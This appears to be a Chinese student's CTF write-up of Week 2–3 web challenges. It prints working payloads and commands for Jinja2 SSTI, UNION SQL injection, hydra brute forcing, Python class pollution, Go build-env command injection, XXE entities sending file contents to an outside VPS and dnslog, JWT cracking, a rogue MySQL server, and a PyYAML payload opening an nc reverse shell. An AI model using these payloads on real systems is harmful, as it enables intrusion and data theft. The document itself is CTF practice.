这里有坑,被<\n>{5}搞了好久,原来是<\n>>>>>,哈哈哈哈哈哈哈哈哈,笑傻了。
1 curl -i 'http://challenge.ilovectf.cn:30067/index.php?%3F=-ctf%3C%0A%3E%3E%3E%3E%3Eh00%21%21%21%21%21%21%21%21%21%21%40email.com%20flagA'
1 Good job! Now I need you to write a regular expression for my string.
接着构建下一个payload,这个简单,注意下长度即可:
1 2 curl -X POST 'http://challenge.ilovectf.cn:30067/index.php?%3F=-ctf%3C%0A%3E%3E%3E%3E%3Eh00%21%21%21%21%21%21%21%21%21%21%40email.com%20flagA' \ -d 'preg=.*Flaggg0(?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)'
1 Good job! Now I need you to write a regular expression for my string.</br>Congratulations! Here is your flag: flag{3ad3a3e5-2201-4313-b7d2-4f0ec314256e}
[Week2] 留言板 jinjia2
1 2 3 4 5 6 7 {{ request.application.__globals__.__builtins__.__import__('os').popen('ls /').read() }} no " ' "!! ( 加点小过滤不介意吧^_^ {{[].__class__.__base__}} <class 'object'>
单双引号、url_for都无法使用。
1 {{ some_object.__init__.__globals__.__builtins__.chr(108) ~ some_object.__init__.__globals__.__builtins__.chr(115) }}
输出ls,哈哈哈哈
1 2 3 4 ➜ ~ curl -X POST 'http://challenge.ilovectf.cn:30476/ssti?u1=_&c=c&l=l&a=a&s=s&i=i&n=n&g=g&o=o&p=p&e=e&t=t&sp=%20&m=m&r=r&k=k&b=b' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'message={{url_for|attr(request.args.u1~request.args.u1~request.args.g~request.args.l~request.args.o~request.args.b~request.args.a~request.args.l~request.args.s~request.args.u1~request.args.u1)[request.args.o~request.args.s]|attr(request.args.p~request.args.o~request.args.p~request.args.e~request.args.n)(request.args.l~request.args.s)|join}}' no " url_for " !! ( 加点小过滤不介意吧^_^%
1 curl -X POST 'http://challenge.ilovectf.cn:30084/ssti' --data-urlencode 'message={{7*7}}'
https://github.com/Marven11/Fenjing/我超,这是什么东西??!!
1 python -m fenjing crack --url 'http://challenge.ilovectf.cn:30084/ssti' --detect-mode fast --inputs message --method POST
[Week2] 登录和查询 看网页源码拿到百度网盘,获得字典和提示
1 2 3 4 5 恭喜你找到了这里,你是个很棒的ctfer 登录密码和用户名就藏在这个目录下的字典里面,不要去用别的字典哦,服务器的小心肝受不了。 越过登录界面之后还有一关,flag就在在flags表里面可是id为多少呢?
hydra一把梭
1 2 3 4 5 6 7 8 9 10 ➜ [Week2] 登录和查询 hydra -s 30049 -v -L 字典.txt -P 字典.txt challenge.ilovectf.cn http-post-form "/login.php:username=^USER^&password=^PASS^:F=错误" Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-09 07:14:13 [DATA] max 16 tasks per 1 server, overall 16 tasks, 4900 login tries (l:70/p:70), ~307 tries per task [DATA] attacking http-post-form://challenge.ilovectf.cn:30049/login.php:username=^USER^&password=^PASS^:F=错误 [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [STATUS] 1822.00 tries/min, 1822 tries in 00:01h, 3078 to do in 00:02h, 16 active [VERBOSE] Page redirected to http[s]://challenge.ilovectf.cn:30049/flag.php [30049][http-post-form] host: challenge.ilovectf.cn login: admin password: admin123
登陆后跳转到http://challenge.ilovectf.cn:30049/flag.php,提示You_are_so_a_go0d_ctfer
构造id请求http://challenge.ilovectf.cn:30049/flag.php?id=2提示try_use_union!Okkk
尝试有几个字段,发现http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,3--+提示123
http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,flag FROM flags--+提示12OH!YOU_AR3_1N_RIGHT_WA7_
提交flag{OH!YOU_AR3_1N_RIGHT_WA7_},并不正确。 看提示:flag就在在flags表里面,猜测flag并不在flag里。
列出flags表下所有行
1 http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,group_concat(id, ':', flag) FROM flags--+
成功夺旗
1 121:OH!YOU_AR3_1N_RIGHT_WA7_,2:flag{28778804-9c7d-4cd2-9a6f-972d89c79139}
果然有两行,提交。其实提示很多,全程都有,很贴心了。
[Week2] 这是什么函数 没见过?搜一下!在/flag
看不懂思密达,问一下Gemini:
1 2 3 4 5 6 7 8 9 10 11 12 13 前端页面分析: 标题与提示: 题目名称是“这是什么函数?”,页面内提示“题目问函数,可是这个页面里面哪有函数?”和“信息搜集一下,不在这个页面哦”。这强烈暗示我们需要寻找源码或线索来发现后端使用的关键函数。 核心功能: 页面提供一个 JSON 输入框,点击按钮后,会通过 JavaScript fetch 函数向 /pollute 路径发送一个 POST 请求,Content-Type 为 application/json。 关键点: 路径名 /pollute 是一个非常明显的提示,指向了 原型链污染 (Prototype Pollution) 漏洞。提交数据后弹窗提示“你应该找找这个包要干什么”,进一步说明后端使用了某个具体的第三方库(包)来处理 JSON 数据,而这个库存在漏洞。 漏洞识别: 原型链污染 (Prototype Pollution): 这是 JavaScript 的一种漏洞。当一个应用不安全地合并(merge)或克隆(clone)对象时,攻击者可以利用 __proto__ 或 constructor.prototype 等键来修改 Object.prototype(所有对象的原型)。一旦原型被污染,可能会导致拒绝服务(DoS)、权限提升,甚至远程代码执行(RCE)。 目标: 我们的目标是构造一个恶意的 JSON 数据,发送到 /pollute 接口,污染服务器的 JS 环境,然后在访问 /flag 页面时触发我们植入的恶意行为,从而读取到 flag。
找篇文章学习一下:https://zhuanlan.zhihu.com/p/8675630190
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 (base) ➜ ~ dirsearch -u http://challenge.ilovectf.cn:30056/ _|. _ _ _ _ _ _|_ v0.4.3.post1 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /Users/chao/reports/http_challenge.ilovectf.cn_30056/__25-10-09_08-23-24.txt Target: http://challenge.ilovectf.cn:30056/ [08:23:24] Starting: [08:28:23] 200 - 39B - /flag [08:31:20] 200 - 1KB - /src Task Completed
我超!这个也太强了。访问/src,获得源码,原来是flask吗(我以为是node.js)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from flask import Flask, request, render_templateimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, "__getitem__" ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def is_json (data ): try : json.loads(data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls() cat = "where is the flag?" dog = "how to get the flag?" @app.route("/" , methods=["GET" , "POST" ] ) def index (): return render_template("index.html" ) @app.route("/flag" , methods=["GET" , "POST" ] ) def flag (): with open ("/flag" , "r" ) as f: flag = f.read().strip() if cat == dog: return flag else : return cat + " " + dog @app.route("/src" , methods=["GET" , "POST" ] ) def src (): return open (__file__, encoding="utf-8" ).read() @app.route("/pollute" , methods=["GET" , "POST" ] ) def Pollution (): if request.is_json: merge(json.loads(request.data), instance) else : return "fail" return "success" if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 )
那就是 Object Pollution 了是吧? 要让if cat == dog:
1 2 3 4 5 6 7 (base) ➜ ~ curl -X POST -H "Content-Type: application/json" \ -d '{"__init__": {"__globals__": {"dog": "where is the flag?"}}}' \ http://challenge.ilovectf.cn:30056/pollute success% (base) ➜ ~ curl http://challenge.ilovectf.cn:30056/flag flag{78fc813f-b506-4c1a-b1f0-1017eea2a0ec}%
[Week3] VIP 先探索一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 {{.Utils.GetReader "/flag.txt" | .Utils.ReadAll}} 模板执行错误: template: name:1:22: executing "name" at <.Utils.GetReader>: error calling GetReader: open /flag.txt: permission denied {{.Utils.GetReader "/etc/passwd" | .Utils.ReadAll}} 输出结果: root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin app:x:1000:1000:Linux User,,,:/home/app:/sbin/nologin {{.Utils.GetReader "/proc/self/environ" | .Utils.ReadAll}} 输出结果: HOME=/appGOCACHE=/tmp/go-buildGOPATH=/tmp/gopathSECRET_KEY_PATH=/app/secret_key.txtPATH=/usr/local/go/bin:/usr/bin:/bin
发现SECRET_KEY_PATH=/app/secret_key.txt
1 2 {{.Utils.GetReader "/app/secret_key.txt" | .Utils.ReadAll}} 输出结果: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr
1 runtime: /usr/local/go/pkg/tool/linux_amd64/compile: signal: killed
???OOM了,联系学长调大内存,继续。
尝试embed ,但无法跨越目录,卒。
1 2 3 4 5 6 7 8 9 10 11 12 13 package mainimport ( _ "embed" "fmt" ) var embedFile string func main () { fmt.Println("flag:" , embedFile) }
尝试内嵌C,permission denied,卒
1 2 3 4 5 6 7 8 9 10 11 12 curl -X POST \ 'http://challenge.ilovectf.cn:30224/vip/build' \ -H 'Content-Type: application/json' \ -H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \ -d '{ "env": { "CGO_ENABLED": "1", "CGO_CFLAGS": "-include /flag.txt" }, "code": "package main\n\n/*\n#include <stdio.h>\n*/\nimport \"C\"\n\nfunc main() {\n\t\n}" }' {"details" :"# runtime/cgo\n\u003ccommand-line\u003e: fatal error: /flag.txt: Permission denied\ncompilation terminated.\n" ,"error" :"编译失败" ,"reason" :"exit status 1" }
尝试GOFLAGS,哦吼!有戏?
1 2 3 4 5 6 7 8 9 10 11 12 { "code" : "package main\n\nfunc main() {}" , "env" : { "GOFLAGS" : "-toolexec=\"cat\"" } } curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \ -H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \ -H 'Content-Type: application/json' \ --data @payload.json {"details" :"cat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ngo: error obtaining buildID for go tool compile: exit status 1\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\ngo: error obtaining buildID for go tool compile: exit status 1\ngo: error obtaining buildID for go tool compile: exit status 1\ncat: unrecognized option: V\nBusyBox v1.36.1 (2025-08-05 16:44:32 UTC) multi-call binary.\n\nUsage: cat [-nbvteA] [FILE]...\n\nPrint FILEs to stdout\n\n\t-n\tNumber output lines\n\t-b\tNumber nonempty lines\n\t-v\tShow nonprinting characters as ^x or M-x\n\t-t\t...and tabs as ^I\n\t-e\t...and end lines with $\n\t-A\tSame as -vte\n" ,"error" :"编译失败" ,"reason" :"exit status 1" }%
不能有空格,卒。
尝试CGO,Gooooood
1 2 3 4 5 6 { "code" : "package main\n\nimport \"C\"\n\nfunc main() {}" , "env" : { "CC" : "sh -c 'uname -a; exit 0'" } }
可以可以,正常执行了,但/flag.txt还是没权限,考虑SUID提权(其实早该想到了)
1 2 3 4 5 6 { "code" : "package main\n\nimport \"C\"\n\nfunc main() {}" , "env" : { "CC" : "sh -c 'find / -perm -u=s -type f 2>/dev/null; exit 0'" } }
1 2 3 4 5 curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \ -H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \ -H 'Content-Type: application/json' \ --data @payload.json {"details" :"# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\n/usr/local/bin/flagread\n# runtime/cgo\ncgo: cannot parse $WORK /b003/_cgo_.o as ELF, Mach-O, PE or XCOFF\n" ,"error" :"编译失败" ,"reason" :"exit status 1" }%
哦吼?**/usr/local/bin/flagread**
1 2 3 4 5 6 { "code" : "package main\n\nimport \"C\"\n\nfunc main() {}" , "env" : { "CC" : "sh -c '/usr/local/bin/flagread; exit 0'" } }
1 2 3 4 5 (base) ➜ [Week3] VIP curl -X POST 'http://challenge.ilovectf.cn:30224/vip/build' \ -H 'X-API-Key: qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr' \ -H 'Content-Type: application/json' \ --data @payload.json {"details" :"# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\nflag{5176c02f-a853-421b-9f76-86ba379d41e6}}\n# runtime/cgo\ncgo: cannot parse $WORK /b003/_cgo_.o as ELF, Mach-O, PE or XCOFF\n" ,"error" :"编译失败" ,"reason" :"exit status 1" }%
GOoooooooD,一血!
[Week3] 查查忆 查一查关于XML的回忆
ENTITY被过滤
1 2 3 <!ENTITY % file_content SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g" > <!ENTITY % exfil "<!ENTITY send SYSTEM 'http://vps的ip地址/probe-hit?flag=%file_content;'>" > %exfil;
1 2 3 <?xml version="1.0" ?> <!DOCTYPE root SYSTEM "http://vps的ip地址/test3.dtd" > <xxx > &send; </xxx >
vps上起一个python -m http.server 80 (用80是因为懒得去后台放行端口💦)
1 2 3 ZmxhZ3tjNDc1YWU3ZC1hNGNhLTQyZmUtYWIxNC1lMzFkMTllMTQxMzl9 flag{c475ae7d-a4ca-42fe-ab14-e31d19e14139}
艰难探索:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?xml version="1.0" ?> <!DOCTYPE memory SYSTEM "https://week3.free.beeceptor.com/evil.dtd"> <memory>&xxe;</memory> <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///f1111llllaa44g" parse="text"/> </root> <!DOCTYPE root SYSTEM "file:///f1111llllaa44g"> <root/>提示failed!,如果把路径改为一个不存在的,反而变成success了。base64编码的payload,<!DOCTYPE root SYSTEM "data:text/plain;base64,PCFFTlRJVFklICUgZmlsZSBTWVNURU0gImZpbGU6Ly8vZjExMTFsbGxsbGFhNDRnIj48IUVOVElUWSAlIGV2YWwgIjwhRU5USVRZICYjeDI1OyBlcnJvciBTWVNURU0gJ2ZpbGU6Ly8vbm9uZXhpc3RlbnQvJWZpbGU7Jz4iPiVldmFsOyVlcnJvcjs="> <root/>提示failed,但改成<!DOCTYPE root SYSTEM "data:text/plain;base64,=="> <root/>又提示success <?xml version="1.0"?> <!DOCTYPE root SYSTEM "http://vps/evil.dtd"> <root>&send;</root> <!-- probe_evil.dtd --> <!ENTITY send_http SYSTEM "http://vps/probe-hit?tag=probe1"> <!ENTITY send_http SYSTEM "http://vps/probe-hit?tag=probe1"> <!ENTITY % file SYSTEM "file:///f1111llllaa44g"> <!ENTITY all "<!ENTITY exfil SYSTEM 'http://vps/exp?data=%file;'>"> <!-- dns.dtd --> <!ENTITY % test SYSTEM "http://test.3akofe.dnslog.cn/"> <!ENTITY % file SYSTEM "file:///f1111llllaa44g"> <!ENTITY % e SYSTEM "http://%file;.3akofe.dnslog.cn/"> % %e; <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://vps/?%file;'>"> %all; <?xml version="1.0"?> <!DOCTYPE root SYSTEM "http://vps/dns.dtd"> <root/>
[Week3] mysql管理工具 先写正确思路:
观察登陆也网页html注释,发现低权限账号user/pass,登陆后拿到JWT,使用jwtcrack爆破。在macOS上编译jwtcrack有点费劲,不要用make,直接用gcc指定ssl位置。
1 2 3 gcc -o jwtcrack main.o base64.o \ -L/opt/homebrew/opt/openssl@3/lib -lssl -lcrypto \ -L/opt/homebrew/opt/ruby/lib -lpthread
1 2 ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJleHAiOjE3NjA0NTQ4MDl9.kJvYL0phbK4dNL7PkEpiT7VmAvGQ7mZm18gXfW-7hnE Secret is "Suam"
拿这个去https://www.bejson.com/jwt/#google_vignette把username改成admin,吧exp改长一点,Secret每个容器都是随机生成的。
拿新生成的JWT替换掉user权限的,进入sql测试页面。使用这个https://github.com/rmb122/rogue_mysql_server项目开启一个Rogue Mysql Server,file_list依次尝试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 /etc/passwd 验证是否成功 /proc/self/environ 检查环境变量(本题没有收获) /proc/self/cmdline 容器会写init指令 /home/ctf/app.py 呜呜呜呜 root@iZbp1d5rltw6uhsn58zuoaZ:~/rogue_mysql_server-v1.0.1-linux-amd64 root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync :x:5:0:sync :/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin ctf:x:1000:1000::/home/ctf:/bin/sh SHLVL=1HOME=/home/ctfPATH=/usr/local/bin:/usr/bin:/binPWD=/home/ctfpython-u/home/ctf/app.py from flask import Flask, request, jsonify, render_template_string import MySQLdb import jwt import random import string from functools import wraps from datetime import datetime, timedelta import yaml app = Flask(__name__) app.secret_key = '' .join (random.choices(string.ascii_letters + string.digits, k=4)) JWT_SECRET = '' .join (random.choices(string.ascii_letters + string.digits, k=4)) admin_pass = '' .join (random.choices(string.ascii_letters + string.digits, k=10)) JWT_ALGORITHM = 'HS256' USERS = {'admin' : admin_pass,'user' :'pass' } def generate_token(username): payload = {'username' : username, 'exp' : datetime.utcnow() + timedelta(hours=24)} return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) def verify_token(token): try: payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) return payload['username' ] except Exception: return None def login_required(f): @wraps(f) def wrapper(*args, **kwargs): token = request.headers.get('Authorization' ) if not token or not token.startswith('Bearer ' ): return jsonify({'error' : 'Token missing' }), 401 username = verify_token(token[7:]) if not username: return jsonify({'error' : 'Invalid token' }), 401 request.current_user = username return f(*args, **kwargs) return wrapper @app.route('/' ) def index(): return render_template_string('' ' <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>MySQL 登录</title> <style> body {font-family:sans-serif;background:linear-gradient(135deg,#667eea,#764ba2);display:flex;justify-content:center;align-items:center;height:100vh;margin:0;} .login-container {background:white;padding:40px;border-radius:12px;box-shadow:0 10px 25px rgba(0,0,0,.1);width:360px;text-align:center;} input{width:100%;padding:10px;margin:8px 0;border:1px solid #ccc;border-radius:6px;} button{width:100%;padding:10px;background:#667eea;color:white;border:none;border-radius:6px;cursor:pointer;} .error{color:#e74c3c;font-size:14px;} .success{color:#27ae60;font-size:14px;} </style> </head> <body> <div class="login-container"> <h2>🔐 MySQL 管理登录</h2> <form id="f"> <input id="username" placeholder="用户名" required> <input id="password" type="password" placeholder="密码" required> <button type="submit">登录</button> <div id="msg"></div> </form> </div> <script> document.getElementById(' f').addEventListener(' submit', async e=>{ e.preventDefault(); const res = await fetch(' /login',{method:' POST',headers:{' Content-Type':' application/json'},body:JSON.stringify({ username:username.value,password:password.value })}); const data = await res.json(); const msg=document.getElementById(' msg'); if(data.success){ localStorage.setItem(' token',data.token); msg.innerHTML=' <div class="success" >登录成功!</div>'; setTimeout(()=>location.href=' /test',1000); }else{ msg.innerHTML=' <div class="error" >'+data.error+' </div>'; } }); </script> </body> <!-- user/pass --></html> ' '' )@app.route('/login' , methods=['POST' ]) def login(): data = request.get_json() username, password = data.get('username' ), data.get('password' ) if username in USERS and USERS[username] == password: token = generate_token(username) return jsonify({'success' : True, 'token' : token}) return jsonify({'success' : False, 'error' : '用户名或密码错误' }) @app.route('/test' ) def mysql_test_page(): return render_template_string('' ' <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><title>MySQL 连接测试</title> <style> body{font-family:sans-serif;background:#f5f7fa;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;} .container{background:white;padding:30px;border-radius:10px;box-shadow:0 2px 10px rgba(0,0,0,.1);width:360px;} input{width:100%;padding:8px;margin-top:5px;border:1px solid #ccc;border-radius:5px;} button{width:100%;padding:10px;margin-top:15px;background:#007bff;color:white;border:none;border-radius:5px;cursor:pointer;} #out{margin-top:15px;font-family:monospace;white-space:pre-line;} </style> </head> <body> <div class="container"> <h3>🧩 测试 MySQL 连接</h3> <form id="f"> <input name="host" placeholder="Host" value="127.0.0.1"> <input name="port" placeholder="Port" value="3306"> <input name="user" placeholder="User" value="root"> <input name="password" placeholder="Password" type="password"> <input name="db" placeholder="Database" value="mysql"> <button type="button" onclick="test()">测试连接</button> </form> <pre id="out"></pre> </div> <script> const token = localStorage.getItem(' token'); if(!token) location.href=' /'; async function test(){ const out=document.getElementById(' out'); out.textContent=' 正在测试...'; let data=Object.fromEntries(new FormData(f).entries()); try{ let res=await fetch(' /test_mysql',{method:' POST',headers:{ ' Content-Type':' application/json',' Authorization':' Bearer '+token },body:JSON.stringify(data)}); let j=await res.json(); out.style.color=j.success?' green':' red'; out.textContent=j.success?' 连接成功!':' 连接失败\\n'+(j.error||' '); }catch(e){out.textContent=' 请求出错:'+e;} } </script> </body></html> ' '' )@app.route('/test_mysql' , methods=['POST' ]) @login_required def test_mysql(): if request.current_user != 'admin' : return jsonify({"success" : False, "error" : "权限不足,只有 admin 可以测试 MySQL 连接" }), 403 data = request.get_json() or {} for k in ("host" , "port" , "user" , "password" , "db" ): if k not in data: return jsonify({"success" : False, "error" : f"缺少字段: {k}" }) try: conn = MySQLdb.connect( host=data["host" ], port=int(data["port" ]), user=data["user" ], passwd=data["password" ], db=data["db" ], connect_timeout=5, charset='utf8mb4' , local_infile=1, ssl=None ) cur = conn.cursor() cur.execute("SELECT 1" ) cur.close() conn.close() return jsonify({"success" : True}) except MySQLdb.Error as e: return jsonify({"success" : False, "error" : str(e)}) except Exception as e: return jsonify({"success" : False, "error" : f"其他错误: {e}" }) @app.route('/uneed1t' , methods=['GET' ]) def uneed1t(): data = request.args.get('data' , '' ) if data == '' : return jsonify({"result" : "null" }) try: black_list = [ "system" , "popen" , "run" , "os" ] for forb in black_list: if forb in data: return jsonify({"result" :"error" }) yaml.load(data, Loader=yaml.Loader) return jsonify({"result" : "ok" }) except Exception as e: return jsonify({"result" :"error" }) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=8000)
观察/uneed1t路由,存在yaml.Loader任意命令执行,有黑名单,使用subprocess.call。
1 !!python/object/apply:subprocess.call [['/bin/busybox' ,'nc' ,'vps的ip地址' ,'nc监听端口' ,'-e' ,'/bin/sh' ]]
在vps上开个端口监听,准备接收反弹的shell
GooooD,二血。
弯路明天(今天)再写,他喵的,搞了三天。
弯路探索:
一开始有两种思路,sql inject、jwt,要搞到admin,然后后面是个命令拼接,“;”应该可以rce
尝试JWT改头HS256->None,改body,删签名,但invalid token,不会要hashmap吧?(这里就该尝试jwtcrack了,硬生生搞了一天半)
登陆进去后,以为是mysql-connector-java,尝试jdbc,屁用没有(报错信息一眼python。。。)
想覆盖socket,host置空,然后socket去读取flag
看学长blog发现pickle反序列化
上一天课了[表情]又试了ssti[表情]还试了mysql.connector的其他参数注入[表情]下一步可能尝试cookie投毒[表情]Rogue server应该还用不上吧[表情] (事实上rogue server是对的)
好的那就这样了。
[Week3] ezphp (未解出)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 https://www.freebuf.com/articles/web/321769.html PHP变量名由数字字母下划线组成,是没有.的 我从大佬的文章了解到,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_。 有一种特殊情况,GET或POST方式传参时,变量名中的 [ 也会被替换为_,但其后的字符就再进行替换了 如 CTF[SHOW.COM => CTF_SHOW.COM c1n[y0.u g3t+fl&g?=a http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=a http://challenge.ilovectf.cn:30622/?c1n%5By0.u%20g3t%2Bfl%26g%3F=%93^%FF%8C^%FF%20%2F%3E%87^%FF ls />abc curl 